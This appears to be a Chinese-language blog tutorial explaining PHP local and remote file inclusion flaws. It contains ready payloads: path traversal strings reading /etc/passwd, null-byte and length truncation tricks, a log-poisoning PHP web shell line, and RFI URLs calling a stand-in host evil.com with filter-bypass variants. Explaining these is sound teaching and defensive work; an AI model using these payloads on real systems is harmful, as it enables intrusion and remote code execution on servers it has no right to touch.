安全漏洞丨本地/远程文件包含(LFI/RFI)
概述
在开发中,为了代码复用,开发者会把公共头部、尾部、配置文件等写进独立文件,再通过主程序“包含”进来。例如 PHP 里的include()、require()等、JSP的<jsp:include>等、ASP的<!--#include file=" " -->等
漏洞的本质是当包含的文件路径或文件名可以被用户输入动态控制,且程序未做充分校验时,攻击者就能改变原本要包含的文件,转而包含恶意文件或服务器上的敏感文件,并使其以代码形式被执行(或读取其内容)。
这类漏洞按所包含文件的来源,通常分为两类:本地文件包含(LFI) 和 远程文件包含(RFI)
LFI本地文件包含
原理
LFI即攻击者只能包含目标服务器本地的文件。典型的危险代码形如:
$file = $_GET['page'];
include($file . '.php');
用户正常请求时,就会返回$page.php。
但如果攻击者输入?page=../../etc/passwd,由于该文件不存在,一般会被截断掉后缀(需要配合截断技术)或直接失败。如果后缀可以被绕过,或者本身无后缀追加,就能读取任意文件
若被包含的文件中有 PHP 代码,包含时就会执行。攻击者可以结合文件上传、日志污染等方式,让本地存在一个可控内容的文件,再通过 LFI 包含它,实现任意代码执行。
LFI可能带来的危害:
敏感文件读取、通过包含本地可控文件实现代码执行
路径遍历
LFI常与路径遍历漏洞(CWE-22)共生。攻击者使用 ../ 序列跳出当前目录,到达系统任意位置。
例如:
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd (绕过对 ../ 的简单过滤)
?page=..\/..\/..\/etc/passwd (Windows)
截断技术
早期 PHP 版本(≤5.3)中,当 magic_quotes_gpc=off 时,可使用空字节注入截断:
?page=../../etc/passwd%00
会使得 include() 实际包含 ../../etc/passwd,因为 %00 被 C 语言视为字符串终止符,后面的 .php 被忽略。
另一个基于长度截断的技巧:某些文件系统路径长度上限为4096字符,通过超长路径将附加的后缀“挤”掉。PHP 会对路径做截断处理,从而包含到无后缀的文件。例如:
?page=../../etc/passwd/././././...(重复填充直至4096字符)
现代 PHP 版本已修复空字节截断和此类长度截断,但老系统仍可能存在
日志文件与 Session 文件包含
攻击者可以通过污染日志文件(如访问的 User-Agent 中写入 <?php system($_GET['cmd']); ?>),使其被记录到 /var/log/apache2/access.log,再通过 LFI 包含该日志文件,进而执行任意代码。
类似思路也适用于 /proc/self/environ(当 User-Agent 等 HTTP 头存入环境变量时),以及 PHP Session 文件(如果 Session 存储在磁盘且攻击者可控制 Session 值)。
RFI远程文件包含
原理
RFI 是 LFI 的“远程版本”,攻击者可以指定服务器通过 HTTP、FTP 等协议加载并执行远程服务器上的恶意脚本。它依赖 PHP 配置项:
allow_url_include = On (默认关闭,PHP 5.2 起 allow_url_fopen 仅影响 fopen,不影响 include)
allow_url_fopen = On (影响一些其他函数,但 RFI 主要看 allow_url_include)
典型代码:
$file = $_GET['page'];
include($file . '.php');
攻击者提供一个远程 URL,如:
?page=http://evil.com/shell.txt
若该远程文件内容为 <?php system('id'); ?>,则目标服务器会发起 HTTP 请求获取 shell.txt 并执行其中的 PHP 代码
绕过技巧
URL 编码绕过黑名单:对 http:// 做变形,如 hTtp://、%68%74%74%70://。
利用云服务托管恶意代码(如 GitHub、Pastebin 原始文件链接),这些域名通常在白名单。
使用 FTP 协议:如果远程开启了允许 ftp://。
问号截断后缀:如果远程 URL 后附加了固定后缀(如 .php),可以在 URL 后加 ? 使后缀变成查询参数,如 http://evil.com/shell.txt?,实际请求为 http://evil.com/shell.txt?.php,而 shell.txt 本身会被作为文件读取。
井号截断:http://evil.com/shell.txt%23,后端拼接后变为 shell.txt#.php,# 之后被忽略。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)